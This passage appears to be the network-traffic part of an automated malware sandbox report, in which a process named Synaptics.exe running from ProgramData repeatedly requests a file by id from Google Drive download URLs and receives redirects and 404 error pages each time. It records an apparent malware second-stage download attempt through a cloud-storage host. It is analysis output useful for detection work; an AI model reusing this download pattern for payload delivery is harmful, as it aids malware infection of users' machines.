2024-12-30 10:24:27 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC46BymJCRqKBorebc2NonONRqLKZVtdOnh7C0s5guQ8geNTZrtyaCD-QHzcNnidF8YO Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:27 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-9v7le9JNVb7QErAUUIhmVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:27 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:24:27 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 56 4b 61 36 6d 41 47 49 66 33 36 62 48 58 47 72 36 38 63 38 56 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="VKa6mAGIf36bHXGr68c8Vw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:24:27 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49836	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:27 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YrPj8-CoKgUb4zUCSD9BIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49845	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:28 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-5ZLVO5miCYwoO-Snio7p6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49852	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:28 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-WdDrIByO0OX5aM7f_IcTaA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49853	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:28 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
2024-12-30 10:24:28 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5Eq4TD4ILL790l7uH5J7z2wbhr4Zmgs6GN2XBwQlw4ULxXgrDMJE5CbSQxx2bJnMtY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:28 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-hU4WgPMxJNCXNXDc4w6K0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:28 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:24:28 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 51 66 54 7a 79 67 62 45 35 74 46 35 6c 4d 4c 54 78 30 72 78 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="MQfTzygbE5tF5lMLTx0rxQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:24:28 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49858	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
2024-12-30 10:24:29 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC62pXpF9gPxS4A8wBQVnREIVhhZgjAjf-LpjAHz2m6qfDN1JYdmwcJAmCFIEIo2nkK4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:29 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-pJ21Rb7YEukVyuqOnJ_5cQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:29 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:24:29 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 33 55 31 4d 56 4a 6d 53 70 35 57 61 55 75 4f 79 71 68 61 64 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="Q3U1MVJmSp5WaUuOyqhadA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:24:29 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49859	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:29 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-NhFBnas0-B6DOhMiUNoLhw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49861	142.250.186.46	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:29 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:24:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-j_wzQHjqvHySxusf84xmZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49862	172.217.23.97	443	5048	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:24:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=GbM711qpEqJ6-vJ7oZqwt_WizODnySwytzMLs5JRcON8kGsz8pvZs1ucuzlzIIEVOcZGVhhVTYf4xlXyHI5Juf1ww77K6Oa5Bm_YSz4X14o3A_uSVZ8VL5euu7xS6ZroCu0UPyI9Ne-wNNv9n_H8Nqd8MjC5G5YX2-l3dDYf59wDf8Q1VbXIrls
2024-12-30 10:24:30 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5H8Rf2gxopgfU0LNy-PTnvK8i1CW1NpBbzXJGXOXOtCKkUv8iXakdI_QrBpvRvClQZ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:24:29 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-fntrifWRNxc3w0N0Tpos8Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:24:30 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:24:30 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 67 49 49 36 2d 73 45 4b 32 4c 46 6e 33 62 2d 33 7a 32 33 65 62 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="gII6-sEK2LFn3b-3z23ebQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
